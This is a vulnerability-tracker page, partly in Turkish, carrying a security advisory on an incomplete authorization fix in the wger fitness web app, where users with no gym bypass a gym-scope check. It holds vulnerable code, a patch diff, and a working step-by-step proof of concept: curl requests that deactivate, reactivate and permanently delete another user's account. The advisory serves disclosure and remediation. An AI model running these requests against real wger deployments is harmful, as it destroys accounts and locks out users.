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GHSA-mw8f-w6p8-xrf4: wger: cross-tenant account deletion / deactivation / activation by gym.manage_gym + gym=None

YüksekCVSS 8.5 · v3.1—İstismar yok Düzeltme kaydı yok

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Öncelik: İzleyin (aksiyon skoru 34/100)

  • İzlediğimiz kaynaklarda (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) herkese açık istismar kodu ya da sahada sömürü kaydı yok.
  • İnternetten erişebilen herkes tetikleyebilir. Düşük yetkili bir hesap yeterli. Kullanıcının bir şey yapması gerekmez. Zamanlama ya da yapılandırma gibi özel koşullar gerekir.
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Kaydın verisinden otomatik üretilir: CVSS (NVD ve CNA), CISA KEV ve SSVC, FIRST EPSS, istismar kaynakları, düzeltme sürümleri. Nasıl hesaplıyoruz

Birincil kaynaklar: OSV

## Summary GHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's `reset_user_password` and `gym_permissions_user_edit` views in `wger/gym/views/user.py` performed a gym-scope authorization check using Django ORM object comparison (`if request.user.userprofile.gym != user.userprofile.gym`) which silently passes when both sides are `None` (`None != None` evaluates to `False`). The maintainer's suggested patch ("Apply the same `same_gym()` helper pattern to all five views sharing this check") replaces every `userprofile.gym !=` site with the new `is_same_gym()` helper that explicitly excludes `None` (`gym_a is not None and gym_a == gym_b`). The fix landed in `wger/gym/views/{admin_notes,document,contract,gym}.py` (5 views, all using `is_same_gym`). However, **three additional views in `wger/core/views/user.py` were not migrated** and retain the original `userprofile.gym_id != ...` raw integer comparison. Because raw integer `!=` comparison still evaluates `None != None` as `False`, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest `wger/server:latest` Docker image (master, 2026-05-08 build). A privileged-but-bounded gym staff user (admin-granted `gym.manage_gym` permission, intended scope: managing members of one specific gym) whose `userprofile.gym = None` (the default state before the admin links them to a gym) can: 1. **Permanently delete any other user with `gym = None`** (V3, `delete` view, line 131 — CRITICAL data loss, irreversible) 2. **Deactivate any other user with `gym = None`**, locking them out of the platform (V1, `UserDeactivateView`, line 405 — high availability impact) 3. **Re-activate any previously deactivated user with `gym = None`** (V2, `UserActivateView`, line 442 — counters defensive deactivation) Victim user pks are sequential integers and trivially enumerable via `/en/user/<pk>/overview` and other endpoints. The `same_gym_id == ...` flag in `UserDetailView.get_context_data` (line 587) is also affected, but the underlying `dispatch()` and the actual `trainer_login` view still use the patched `is_same_gym()` helper, so impersonation chain via that path is blocked at runtime — only the UI button visibility leaks. The three write-side variants above are the security boundary breaches. ## Affected versions - All wger versions through master at `wger/server:latest` (digest `sha256:5d8fe1ba66cc...`, image build 2026-05-08). - The advisory's `affected: <0.9.7 → fixed: 0.9.7` range applies to the **PyPI `aegra-api` package** (different project; the advisory text references a Python-package version unrelated to the wger Django project's version scheme — wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits to `wger/gym/views/{admin_notes,document,contract,gym}.py`; `wger/core/views/user.py` was not touched in the same patch. (Maintainer can confirm version range; the live verification was performed against the latest published Docker image.) ## Vulnerable code ### V1 — `UserDeactivateView` (`wger/core/views/user.py`, line 405) ```python class UserDeactivateView(...): permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer') def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) if not request.user.is_authenticated: return HttpResponseForbidden() if ( request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: None != None == False return HttpResponseForbidden() return super(UserDeactivateView, self).dispatch(request, *args, **kwargs) def get_redirect_url(self, pk): edit_user = get_object_or_404(User, pk=pk) edit_user.is_active = False # ← side effect on plain GET edit_user.save() ... ``` ### V2 — `UserActivateView` (`wger/core/views/user.py`, line 442) ```python class UserActivateView(...): permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer') def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) ... if ( request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: same pattern return HttpResponseForbidden() return super(UserActivateView, self).dispatch(request, *args, **kwargs) def get_redirect_url(self, pk): edit_user = get_object_or_404(User, pk=pk) edit_user.is_active = True # ← side effect on plain GET edit_user.save() ... ``` ### V3 — `delete` (`wger/core/views/user.py`, line 116-159) ```python @login_required() def delete(request, user_pk=None): ... if user_pk: user = get_object_or_404(User, pk=user_pk) if not request.user.has_perm('gym.manage_gyms') and ( not request.user.has_perm('gym.manage_gym') or request.user.userprofile.gym_id != user.userprofile.gym_id # ← BUG (line 131) or user.has_perm('gym.manage_gym') or user.has_perm('gym.gym_trainer') or user.has_perm('gym.manage_gyms') ): return HttpResponseForbidden() ... if request.method == 'POST': form = PasswordConfirmationForm(data=request.POST, user=request.user) if form.is_valid(): user.delete() # ← victim account permanently deleted (line 145) ... gym_pk = request.user.userprofile.gym_id # = None for trainer1 return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': gym_pk})) # ↑ raises NoReverseMatch (gym_pk=None) → 500 to attacker # but user.delete() already executed — victim is gone ``` **Triager note about the 500 status — please do not interpret the 500 as evidence that the exploit failed.** The 500 is a redirect-side `NoReverseMatch` exception caused by `reverse('gym:gym:user-list', kwargs={'pk': None})` (line 154-155) attempting to build a URL with `pk=None` because trainer1 also has `gym=None`. By that point Django has already committed `user.delete()` (line 145) and the victim's User row is gone. The Reproduction section's Step 3 ("confirm alice was actually deleted") shows the post-delete DB state directly: `alice exists? False`, `all users: ['admin', 'trainer1']`. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure. ## Suggested patch Same as the advisory's recommendation — replace every `userprofile.gym_id != ...` raw comparison with `is_same_gym()` from `wger/gym/helpers.py`: ```diff --- a/wger/core/views/user.py +++ b/wger/core/views/user.py @login_required() def delete(request, user_pk=None): ... - if not request.user.has_perm('gym.manage_gyms') and ( - not request.user.has_perm('gym.manage_gym') - or request.user.userprofile.gym_id != user.userprofile.gym_id - or user.has_perm('gym.manage_gym') - or user.has_perm('gym.gym_trainer') - or user.has_perm('gym.manage_gyms') - ): + if not request.user.has_perm('gym.manage_gyms') and ( + not request.user.has_perm('gym.manage_gym') + or not is_same_gym(request.user, user) + or user.has_perm('gym.manage_gym') + or user.has_perm('gym.gym_trainer') + or user.has_perm('gym.manage_gyms') + ): return HttpResponseForbidden() class UserDeactivateView(...): def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) ... - if ( - request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') - ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: + if ( + request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') + ) and not is_same_gym(request.user, edit_user): return HttpResponseForbidden() class UserActivateView(...): def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) ... - if ( - request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') - ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: + if ( + request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') + ) and not is_same_gym(request.user, edit_user): return HttpResponseForbidden() ``` `is_same_gym()` (current implementation at `wger/gym/helpers.py`) already returns `False` whenever either side is `None`, matching the advisory's existing fix pattern. Additionally, `delete()` line 154-155 should handle the `gym_pk = None` case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (`gym.manage_gyms`) acting on `gym=None` users. ## Reproduction ### Setup (clean baseline) ```bash # Pull and start the latest production image docker pull wger/server:latest # digest sha256:5d8fe1ba66cc..., 2026-05-08 build docker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest # Wait ~30s for migrations and demo-data fixture load. # Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm). docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User, Permission # Attacker — gym manager with no gym affiliation t = User.objects.create_user(username='trainer1', password='TrainerPass123!') t.userprofile.gym = None t.userprofile.save() t.user_permissions.add(Permission.objects.get(codename='manage_gym')) t.save() # Victim — regular user, no gym a = User.objects.create_user(username='alice', password='AlicePass123!') a.userprofile.gym = None a.userprofile.save() print("trainer1.gym_id =", t.userprofile.gym_id, "has_perm =", t.has_perm('gym.manage_gym')) print("alice.gym_id =", a.userprofile.gym_id, "pk =", a.pk) PY # Expected: # trainer1.gym_id = None has_perm = True # alice.gym_id = None pk = 3 ``` ### Variant V1 — cross-tenant deactivation (`UserDeactivateView`, line 405) ```bash # Login as attacker COOKIES=/tmp/wger_trainer1.txt CSRF=$(curl -s -c $COOKIES "http://localhost:8888/en/user/login" | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3) curl -s -b $COOKIES -c $COOKIES "http://localhost:8888/en/user/login" \ -d "username=trainer1&password=TrainerPass123!&csrfmiddlewaretoken=$CSRF" \ -H "Referer: http://localhost:8888/en/user/login" -o /dev/null # Trigger deactivation on alice (pk=3) curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \ "http://localhost:8888/en/user/3/deactivate" # → status=302 loc=/en/user/3/overview (expected: 403 Forbidden) # Confirm DB side effect docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User print("alice.is_active =", User.objects.get(username='alice').is_active) PY # → alice.is_active = False (alice locked out) ``` ### Variant V2 — cross-tenant re-activation (`UserActivateView`, line 442) ```bash # Same trainer1 session curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \ "http://localhost:8888/en/user/3/activate" # → status=302 loc=/en/user/3/overview docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User print("alice.is_active =", User.objects.get(username='alice').is_active) PY # → alice.is_active = True (alice re-activated; useful to "undo" defensive action by an admin) ``` ### Variant V3 — cross-tenant account deletion (`delete`, line 131) ```bash # Step 1: GET the password-confirmation form CSRF2=$(curl -s -b $COOKIES "http://localhost:8888/en/user/3/delete" \ | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3) echo "form CSRF: $CSRF2" # → 200 OK with PasswordConfirmationForm (expected: 403 Forbidden) # Step 2: POST trainer1's own password — confirms the delete curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \ "http://localhost:8888/en/user/3/delete" \ -d "password=TrainerPass123!&csrfmiddlewaretoken=$CSRF2" \ -H "Referer: http://localhost:8888/en/user/3/delete" # → status=500 (the 500 is a redirect-side error, see "Vulnerable code" → V3 above) # Step 3: confirm alice was actually deleted docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User print("alice exists?", User.objects.filter(username='alice').exists()) print("all users:", list(User.objects.values_list('username', flat=True))) PY # → alice exists? False # → all users: ['admin', 'trainer1'] ``` The 500 status returned to the attacker masks the destructive operation but does not prevent it — `user.delete()` (line 145) commits before the failing redirect (line 155). ### Negative control (proves the bypass is `None`-specific, matching the advisory) ```bash # Reset alice and assign her to gym pk=1 (one of the demo gyms). docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User from wger.gym.models import Gym a = User.objects.create_user(username='alice', password='AlicePass123!') a.userprofile.gym = Gym.objects.first() # not None any more a.userprofile.save() print("alice.gym_id =", a.userprofile.gym_id) PY # Same trainer1 (gym=None) attempts deactivation curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \ "http://localhost:8888/en/user/<new_alice_pk>/deactivate" # → status=403 (guard works correctly when gym_ids differ AND neither side is None; # bypass is specifically the None != None edge case) ``` ## Verification log The full verification log of V1 → V2 → V3 (including DB-state diff at every step) is attached as `_verify_run1.log`. Key assertions captured: | Step | Endpoint | HTTP | DB side effect (alice) | |---|---|---|---| | Baseline | (none) | — | `is_active=True, gym_id=None, pk=3` | | V1 | `GET /en/user/3/deactivate` | 302 | `is_active=False, gym_id=None, pk=3` | | V2 | `GET /en/user/3/activate` | 302 | `is_active=True, gym_id=None, pk=3` | | V3 GET | `GET /en/user/3/delete` | 200 (form rendered) | (no change) | | V3 POST | `POST /en/user/3/delete` w/ trainer1 password | 500 (post-delete redirect) | **alice row deleted from DB** | ## Impact ### Per-variant impact | Variant | Endpoint | HTTP method | Side-effect | Reversible | CVSS (component) | Severity | |---|---|---|---|---|---|---| | V3 | `/en/user/<pk>/delete` | POST (after GET form) | `User.delete()` cascades (workouts, weight history, nutrition plans, contracts, admin notes) — DB row + related rows removed | **No** (DB backup required) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` | 9.9 CRITICAL | | V1 | `/en/user/<pk>/deactivate` | GET | `is_active = False` (login lockout) | Yes (admin or V2) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H` | 7.4 HIGH | | V2 | `/en/user/<pk>/activate` | GET | `is_active = True` (undoes defensive deactivation) | Yes (admin) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N` | 4.7 MEDIUM | The headline severity at the top of this report is **CRITICAL 9.9** because V3's account-deletion impact dominates the variant family. V1 and V2 are reported here together with V3 because each was independently PoC-verified end-to-end against `wger/server:latest` (see Reproduction → V1, V2, V3 — three separate live runs with DB-state checks before/after) and the three call sites have an identical patch shape (one-line `is_same_gym()` migration in `wger/core/views/user.py`). Submitting V1+V2 separately would carry no marginal value for the maintainer over a single coordinated patch. ### Deployment scope (what is and is not affected) | Deployment model | Affected? | |---|---| | **Multi-tenant gym deployment** (gym manager + trainers + members) — `wger`'s documented commercial use case | **Yes** — `gym.manage_gym` permission is in active use and `gym=None` accounts can co-exist (trainer accounts pending gym linking, regular users registered before any gym was created, etc.) | | **Single-user / personal fitness tracker** (1 admin, no `gym.manage_gym` grant to anyone, no trainer/gym hierarchy in use) | **No** — the precondition (an attacker with `gym.manage_gym` + `gym=None`) cannot occur because the permission is not granted to any user account on such a deployment. | | Public registration + gym-management feature in use | **Yes** — additional victim recruitment via the registration flow, but the attacker-side precondition still requires admin-granted `gym.manage_gym` | `bb-fp-detector check-environment-class` returned `UNKNOWN` for this draft because no live customer-facing instance was probed; the impact statement is scoped to the upstream `wger/server:latest` Docker image's default behaviour, which is the project's own canonical reference deployment. ## Auth model verification (decisive tests) ### Authorization architecture (`bb-auth-doc-audit` equivalent) wger is a self-contained Django web application that uses `django.contrib.auth` for authentication and Django's per-view permission classes (`PermissionRequiredMixin`, `WgerMultiplePermissionRequiredMixin`, `@login_required()`) for authorization. Authentication and authorization are both **enforced inside the wger application** (auth-by-product); wger documentation does not delegate either concern to a reverse proxy or external IdP. There is no "operators must place an auth-enforcing reverse proxy in front of wger" disclaimer in the project's deployment docs (`https://wger.readthedocs.io/en/latest/production/`). The bug therefore directly violates the application's own documented authorization model. ### Decisive bogus-credential / negative-control test (`bb-bogus-cred-test` equivalent) — actually executed This test was run end-to-end on the same `wger/server:latest` Docker instance immediately after the positive-control runs (V1+V2+V3 above). Full log: `_negative_control.log`. **Setup**: assign alice to the demo gym (`Default gym`, pk=1), trainer1 stays at `gym=None` with `gym.manage_gym`. Same trainer1 session as the positive-control run. **Result**: | Endpoint | trainer1 attacker (gym=None) → alice (gym_id=1) | Expected | Observed | |---|---|---|---| | `GET /en/user/4/deactivate` | guard should fire (None != 1 == True → forbidden) | 403 | **403 ✓** | | `GET /en/user/4/activate` | guard should fire (None != 1 == True → forbidden) | 403 | **403 ✓** | | `GET /en/user/4/delete` | guard should fire (None != 1 == True → forbidden) | 403 | **403 ✓** | **DB state after the three negative-control attempts**: `alice.is_active = True`, `alice` still exists — no side-effects. The guard is functional. **Symmetric re-confirmation (positive control after revert)**: alice.gym was reset to `None` in the same session; `GET /en/user/4/deactivate` returned **302** with side-effect `alice.is_active = False` (re-confirming the original bypass triggers reproducibly), then `GET /en/user/4/activate` returned **302** with `alice.is_active = True` for cleanup. This proves: 1. The `dispatch()` and `delete()` guards **do enforce gym-scope authorization** when `gym_id` is non-`None` on either side — the guard is structurally functional. 2. The bypass is specifically the

Güncelleme
20 May 2026
EPSS
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Rapor araçları

JSON

Aksiyon skoru

34

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Şimdilik düşük öncelik.

CVSS
34 / 40 · 8.5 / 10
CISA KEV
0 / 30 · Listede değil
EPSS
0 / 30 · —

Bu kayıt değişirse haber alın

  • KEV'de değil: sahada sömürü kaydı yok
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GHSA-mw8f-w6p8-xrf4 kaydını takip edin

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  • EPSS bir haftada 20 puan arttığında

Günde bir e-posta özeti (06:00 UTC); webhook bağlarsanız KEV ve silahlaştırılmış istismar ücretli planda 10 dakikada bir, ücretsizde saat başı.

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Yayından bugüne: kavram kanıtı, Metasploit modülü, CISA KEV ve düzeltme kaydı. Tarihler kaynakların bildirdiği tarihlerdir.

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Bu kayıtta yok: EPSS geçmişi · yama commit'i ya da PR bağlantısı · araştırmacı kredisi · varyant ya da zincir adayı · herkese açık ödül programı.

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Saldırı koşulları

  • İnternetten erişebilen herkes tetikleyebilir.
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Erişilebilirlik
yüksek · hizmet durdurulabilir

Etki, zafiyetli bileşenin ötesine geçebilir (kapsam değişir).

Saldırı vektörü
Ağ
Karmaşıklık
Yüksek
Gereken yetki
Düşük
Kullanıcı etkileşimi
Gerekmez
Kapsam
Değişir
Gizlilik etkisi
Yüksek
Bütünlük etkisi
Yüksek
Erişilebilirlik etkisi
Yüksek

Zayıflık sınıfı (CWE)

CWE-862 · Missing Authorization

CVSS vektörü

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

osv

Saldırı bağlamı

Bu zafiyet sınıfının (CWE) MITRE CAPEC saldırı desenleri ve ATT&CK teknikleri. Tespit kuralı ve tehdit avı için başlangıç noktası.

Referanslar

Tüm referansları göster (1 daha)

Üretici bildirimleri ve resmî kayıtlar. İstismar/PoC bağlantıları bilinçli olarak dışarıda bırakıldı.

Tüm kayıtlar